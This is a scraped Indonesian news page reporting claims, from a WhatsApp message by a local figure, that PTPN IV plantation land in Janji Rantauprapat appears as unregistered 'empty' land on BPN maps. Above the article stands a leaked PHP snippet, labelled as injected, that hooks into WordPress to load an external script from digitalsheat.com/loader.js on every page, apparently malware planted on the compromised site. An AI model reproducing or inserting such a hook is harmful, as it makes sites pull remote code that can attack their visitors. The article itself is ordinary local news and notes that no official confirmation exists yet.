// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Status Lahan PTPN IV Regional I Janji Rantauprapat di Peta BPN Kosong, Benarkah Kembali Jadi Aset Negara? – Media Fakta Terkini News
Scroll untuk baca artikel
Example floating
Example floating
BerandaNasional

Status Lahan PTPN IV Regional I Janji Rantauprapat di Peta BPN Kosong, Benarkah Kembali Jadi Aset Negara?

70
×

Status Lahan PTPN IV Regional I Janji Rantauprapat di Peta BPN Kosong, Benarkah Kembali Jadi Aset Negara?

Sebarkan artikel ini
Status Lahan PTPN IV Regional I Janji Rantauprapat di Peta BPN Kosong, Benarkah Kembali Jadi Aset Negara?

Fakta-Terkini||www.Fakta-Terkini.com
Rantauprapat, Minggu (7 Juli 2025)

Sebuah informasi penting beredar digrup WhatsApp warga Rantauprapat pada Minggu (7 Juli 2025),  yang mengungkap dugaan bahwa lahan milik PTPN IV Regional I di wilayah Janji Rantauprapat, kini tidak lagi memiliki kekuatan hukum tetap. Lahan seluas hampir 500 hektare itu, yang membentang dari Tugu Batas Selamat Datang hingga kawasan Perlayuan dan Aek Paing, ditandai sebagai “kosong” (berwarna hijau) dalam peta resmi milik Badan Pertanahan Nasional (BPN).

Example 300x600

Informasi ini disampaikan oleh salah satu tokoh masyarakat, Amin Wahyudi, yang menyebut bahwa status lahan tersebut di peta BPN menunjukkan tidak adanya hak kepemilikan yang sah seperti Hak Guna Usaha (HGU) atau Sertifikat Hak Milik (SHM).

“Lahan PTPN IV Regional I Janji Rantauprapat berwarna hijau dan bertipe kosong. Artinya secara hukum, belum terdaftar sebagai lahan dengan sertifikat resmi,” tulis Amin dalam pesan yang dibagikan ke grup WhatsApp warga pada pukul 18.45 WIB, Minggu malam.

Dalam terminologi pertanahan nasional, tanah dengan status “hak kosong” adalah tanah yang tidak tercatat dalam sistem resmi pertanahan, sehingga berpotensi dikategorikan sebagai tanah negara. Lahan semacam ini rawan konflik kepemilikan dan dapat dialokasikan ulang untuk keperluan publik, termasuk dalam program reforma agraria.

Temuan ini menimbulkan tanda tanya ditengah masyarakat Labuhanbatu : apakah lahan yang selama ini dikelola oleh perusahaan BUMN tersebut kini kembali menjadi aset negara? Dan jika iya, apakah ada peluang untuk dilakukan redistribusi kepada warga lokal?

Para aktivis dan pegiat agraria di Labuhanbatu pun mendesak Badan Pertanahan Nasional dan PTPN IV Regional I untuk segera memberi klarifikasi terbuka terkait status lahan tersebut. Mereka juga mendorong pemerintah daerah agar memfasilitasi proses hukum serta membuka dialog dengan masyarakat, apabila redistribusi lahan akan menjadi opsi ke depan.

Sesuai regulasi, apabila masa berlaku HGU memang telah habis dan tidak diperpanjang, maka tanah tersebut secara otomatis beralih menjadi milik negara. Namun hingga berita ini diterbitkan, belum ada pernyataan resmi baik dari pihak PTPN IV Regional I Janji Rantauprapat maupun dari BPN Kabupaten Labuhanbatu mengenai kejelasan status hukum atas lahan tersebut, Pungkasnya.

(Daud R)

Example 300250
Example 120x600

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *